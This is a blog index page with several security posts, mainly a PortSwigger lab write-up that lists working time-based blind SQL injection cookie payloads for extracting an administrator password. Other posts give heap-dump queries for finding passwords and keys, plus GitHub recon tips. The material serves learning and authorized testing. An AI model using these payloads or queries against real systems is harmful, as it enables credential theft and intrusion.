YoungRichOG

Web Pentester


  • 首页

  • 归档

  • 关于

Burp学院-基于时间盲注的练习

发表于 2022-10-25

#Burp学院-基于时间盲注的练习

转载请注明出处:https://youngrichog.github.io/**

描述

由于最近准备换工作,就开始温习应用安全相关的知识,看看能否从以前的知识里面温习到一些新的想法,虽然以前的东西很基础,但难免也会忘记掉,在找找以前的感觉。

实验地址

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

目标:获取administrator的密码,并且成功登录后台

流程

进行延时,方式方法还是蛮多的,随便写了几个

1
2
3
4
5
6
7
8
1.
Cookie: TrackingId=x'||pg_sleep(10)--;

2.
Cookie: TrackingId=x' and 1=(select 1 from pg_sleep(10))--;

3.
Cookie: TrackingId=x'%3bselect pg_sleep(10)--;

判断administrator的密码长度,最终长度为20

1
2
3
4
5
Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)>10)) THEN pg_sleep(10) ELSE pg_sleep(0) END --';

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)>15)) THEN pg_sleep(10) ELSE pg_sleep(0) END --';

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)=20)) THEN pg_sleep(10) ELSE pg_sleep(0) END --';

批量跑一下$a\$,截取字符串,最终获取到密码

1
2
3
4
5
6
7
Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,1,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --'

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,2,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --'

Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,3,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --'

······

思考

1.在做这个实验的时候,纠结到了一个点,为什么下面的语法是不能执行的

1
Cookie: TrackingId=x' and pg_sleep(10)--;

后面发现是由于PostgreSQL语法 and后面必须为布尔类型,后面直接改为

1
Cookie: TrackingId=x' and 123=(select 123 from pg_sleep(10))--;

2.PostgreSQL || 的作用为连接符,如果以其他数据库来看,||的作用是逻辑运算符。所以该语句是正确执行的

1
Cookie: TrackingId=x'||pg_sleep(10)--;

例子:select ‘123’ || 3+1,输出为1234,前面只要不为null,返回就不会是null;

最后

温故而知新确实不错,推荐一个在线SQL语句执行的地方

https://sqliteonline.com/

企业安全建设-办公网安全(一)

发表于 2022-03-03

#企业安全建设-办公网安全(一)

(本文还没有写完,施工中👷‍♀️👷)

办公场景:

  1. 公司办公
  2. 在家办公
  3. 外出办公

办公方式:

  1. PC端
  2. 移动端

建设方向:

资产梳理

WIFI安全

  • 私搭WIFI

服务器安全

  • 基线检查
  • 补丁检查

网络准入

  • 访客网络

风险入口:

浏览器软件:chrome、firefox、

邮箱软件:个人邮箱、企业邮箱、邮箱客户端等等

即时通讯软件:QQ、个人微信、企业微信、钉钉、飞书等等

办公软件:office、wps、xmind、

IP查询对应CDN

发表于 2022-02-22

IP查询对应CDN

转载请注明出处:https://youngrichog.github.io/

在写扫描器的时候遇到一个问题,我有大批量的IP列表,但是里面有很多IP都是CDN,需要确定IP是否是CDN。这一步也是为了减少对数据的污染,提升扫描器的效率,也是为了缩小目标范围,让扫描范围更加精准。简单调研了下目前国内CDN使用量较为靠前的,大部分厂商都有对应API可供查询。可能这只是识别CDN IP的办法之一。

国内CDN:百度云、腾讯云、阿里云、华为云、知道创宇、网宿、金山云

清洗后的数据对比:

使用接口:阿里云、腾讯云、百度云、网宿

清洗前,子域名数量:4万+,目标C段:3000+

清洗后,子域名数量:2万+,目标C段:1000+

数字看起来还是有些庞大,主要有下面几个原因:

  1. 接口还不是很全面,例如:华为云、金山云等等还没有加进去
  2. 官方的接口数据也存在偏差,可能有些CDN IP识别不到
  3. 数据中存在大量内网网段,172.16,192.168等等

扫描器会直接去扫描1000+的C段吗?显然不会的,我还会从其他维度把数据再次清洗 :-)

百度云

API接口:https://cloud.baidu.com/doc/CDN/s/8jwvyeunq

API接口:https://cloud.baidu.com/apiexplorer/index.html?Product=GWSE-NpzkofmAemw&Api=GWAI-CtZXuckU2Ad

API接口没有限制,跑起来很舒服

腾讯云

API接口:https://cloud.tencent.com/document/api/228/37868

每秒20个,跑起来不太舒服

阿里云

API接口:https://help.aliyun.com/document_detail/146385.htm

API接口没有限制,跑起来很舒服

华为云

API接口:https://support.huaweicloud.com/api-cdn/ShowIpInfo.html

网宿

API接口:https://www.wangsu.com/document/api-doc/22779

目前测试,跑快了貌似会限制API :-(

金山云

API接口:https://docs.ksyun.com/documents/5718

为此造了个工具:https://github.com/YoungRichOG/ip2cdn

heapdump后利用

发表于 2022-01-15

heapdump后利用

获取明文的方式:

敏感信息:

密码

环境变量

密钥

JWT

搜索字符串-域名:

1
2
select * from java.lang.String s WHERE toString(s) LIKE ".*\.cn.*"
select * from java.lang.String s WHERE toString(s) LIKE ".*\.com.*"

VisualVM

1
2
select s from java.lang.String s where s.toString().contains("key")
select s from java.lang.String s where s.toString().contains("password")

环境变量

1
select s from java.lang.String s where s.toString().contains("java:comp/env/")

Respect

https://blog.defmax.io/analyzing-java-heap-dumps-via-oql-queries-fef8a8416017

溯源反制party

发表于 2021-12-25

溯源反制party

part 1

这个溯源反制的思路也是在作为攻击方延伸出来的,在黑客进行信息搜集的时候我们可以给予一定的扰乱,在搜集根域名的时候,大家会使用企查查、天眼查、ICP备案、Whois等方式去进行根域名的发现和挖掘,但是实际情况目标存在很多过期的域名,但黑客还是很”自然的”把它们收入其中,当作目标资产的一部分。我们可以去注册这些已经过期的域名,然后做水坑攻击或者蜜网的入口,从而反制攻击方。

剩下的留给你们燥

img

记一次攻防交叉的应急响应

发表于 2021-11-13

记一次攻防交叉的应急响应

转载请注明出处:https://youngrichog.github.io/

描述

最近一个朋友找到我,说访问公司网站总跳转到赌博页面想让我帮忙看一下,由此故事就展开了。

但我很少涉及到防守方的工作,对于应急响应也不是很懂。不过我还是对这些比较感兴趣,偶尔换换口味也是蛮好的。

这次算一次入门级的应急响应,因为涉及到的内容和流程我觉得还是蛮简单的,没有涉及到一些标准流程和工具等。

阅读全文 »

github信息搜集攻击面分析

发表于 2021-10-02

#github信息搜集攻击面分析

对github搜索文档进行分析,以下摘取一部分比较重要的定义

代码搜索部分:

  • 只有默认分支被索引用于代码搜索。
  • 只有小于 384 KB 的文件可搜索。
  • 只能搜索少于 500,000 个文件的仓库。
  • 您无法使用以下通配符作为搜索查询的一部分:. , : ; / \ ‘ “ = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] @`. 搜索只会忽略这些符号。

    按文件名字、文件路径、文件拓展名搜索,这部分可以和敏感信息关键字集合用在一起,这样的话可以降低误报率,提高准确度

commit搜索部分:

  • 当您搜索提交时,仅搜索仓库的默认分支。
  • 限定符:author:USERNAME 示例:author:defunkt 匹配 @defunkt 创作的提交
  • 限定符:committer:USERNAME 示例:committer:defunkt 匹配 @defunkt 提交的提交
  • 限定符:author-name:NAME 示例:author-name:wanstrath 匹配作者姓名中包含 “wanstrath” 的提交
  • 限定符:committer-name:NAME 示例:committer-name:wanstrath 匹配提交者姓名中包含 “wanstrath” 的提交
  • 限定符:author-email:EMAIL 示例:author-email:chris@github.com 匹配 chris@github.com 创作的提交
  • 限定符:committer-email:EMAIL 示例:committer-email:chris@github.com 匹配 chris@github.com 提交的提交。

可以根据已经明确的邮箱进行commit的搜索,committer-email:EMAIL和author-email:EMAIL,这样需要对特定目标进行监控的时候比较有用

日期限定符是非常有用的,如果你好好使用它,可以用于判断目标是否有更新,做一定的限定

Hexo清空commits

发表于 2021-09-11

Hexo清空commits

转载请注明出处:https://youngrichog.github.io/

描述

由于不小心把敏感信息传上去,想要删掉存在敏感信息的commits,发现使用之前记录的命令出现点问题。

1
2
3
4
5
git reset --hard HEAD^

fatal: ambiguous argument 'HEAD^': unknown revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'

1

解决

办法1

1.先把远程的git项目拉回来

1
git clone https://github.com/YoungRichOG/YoungRichOG.github.io.git

2.根据自己的需要选择退回来那个commits

1
git reset --hard HEAD~2

3.push上去,现在不支持账号密码了,该用token

1
git push -f https://你的token@github.com/YoungRichOG/YoungRichOG.github.io.git

办法2

这个办法有点暴力,导致把我github commits全给删除了 :-(

1.删除.deploy_git和public目录

1
2
rm -rf .deploy_git/
rm -rf public/

2.清理缓存

1
hexo clean

3.部署发布

1
2
hexo g
hexo d

刻意练习:如何从新手到大师-读后感

发表于 2021-09-04

刻意练习:如何从新手到大师-读后感

转载请注明出处:https://youngrichog.github.io/

描述

​ 最近在看刻意练习:如何从新手到大师这本书,感觉这本书还是蛮有意思的,书里的内容可以运用到各行各业以及生活的各个方面。可以有效的提升我们对知识的捕获能力、解决问题的能力等等,复杂事物背后的逻辑都很简单,因为这些复杂的事物都是由简单的事物堆积起来的,好比”如何从新手到大师”,新手给我们的刻板印象是小白、新人等关键字,这些关键字都是对简单的诠释,大师给我们的刻板印象是老练、牛人等关键字,这些关键字都是对复杂的诠释。

​ 读到目前为止,自己想到的一句话刻在了自己的脑袋中,这句话为:书籍里面的知识并不是赋予每个人的,仅仅是给那些能看懂的人。为什么这样说呢,在上学期间比我学习好的人有很多,比我学习差的人也有很多,那为什么会产生这样的差异呢?当时的我可能觉得自己不如别人聪明,不如别人努力,悟性不如别人高,但是现在我悟到了书籍里面的知识并不是赋予每个人的,仅仅是给那些能看懂的人,同样的课本别人可以考80分 90分,而你只能考 50 60分,是你不努力吗?也不是,每天也学到很晚。是你不如别人聪明吗?也不是,别人可能还没你聪明。是你不如别人悟性高吗?也不是,别人不能解决的事情,你可以解决。那是为什么?我现在想了想,是因为笨,笨在对知识的捕获能力,笨在方式、方法,笨在心理没有预期,笨在…

​ 目前根据这本书总结了几点,不妨试试从以下几点进行”刻意练习”。

  • 学习方式(学习方法)
  • 阶段目标(心理预期)
  • 心理活动

至2021年9月10日读后感


python列表组合

发表于 2021-08-07

python列表组合

描述

主要记录下两个及多个列表的组合,我们想把两个列表进行组合生成所有可能性。例如:

a = [‘1’,’2’,’3’]

b = [‘a’,’b’,’c’]

期望得到的结果:[‘1’,’a’],[‘1’,’b’],[‘1’,’c’],[‘2’,’a’],[‘2’,’b’]··········

思考

笨办法的话就是for循环,但是写起来不美观。下面学习到几种写法,记录下。

1
2
3
4
a = ["foo","melon"]
b = [True, False]
c = list(itertools.product(a, b))
print(c) --> [("foo", True), ("foo", False), ("melon", True), ("melon", False)]
1
2
3
4
a = ["foo","bar"]
b = [1, 2, 3]
c = [(x,y) for x in a for y in b]
print(c) --> [('foo', 1), ('foo', 2), ('foo', 3), ('bar', 1), ('bar', 2), ('bar', 3)]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import itertools

a = [1, 2, 3]
b = ['a', 'b', 'c', 'd']
c = ['@@', '$$']
#简化了参数, 增加了参数类型声明
def combination(*args:list):
config = [e for e in args]
res = []
tmp = []
dfs(res, tmp, config, 0)
print(res)
print('combination num:', len(res))
# dfs没变动
def dfs(res=[], tmp=[], config=[], i=0):
if i == len(config):
res.append(tmp.copy())
else:
for e in config[i]:
# change spot
tmp.append(e)
# new condition,new recursion
dfs(res, tmp, config, i + 1)
# restore spot
tmp.pop(len(tmp) - 1)
# 执行主体函数
combination(a,b,c)

Respect

https://www.codenong.com/12935194/
https://blog.csdn.net/littlehaes/article/details/103461622

12…4

YoungRichOG

33 日志
30 标签
© 2022 YoungRichOG
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4

本站总访问量次
| 本站访客数人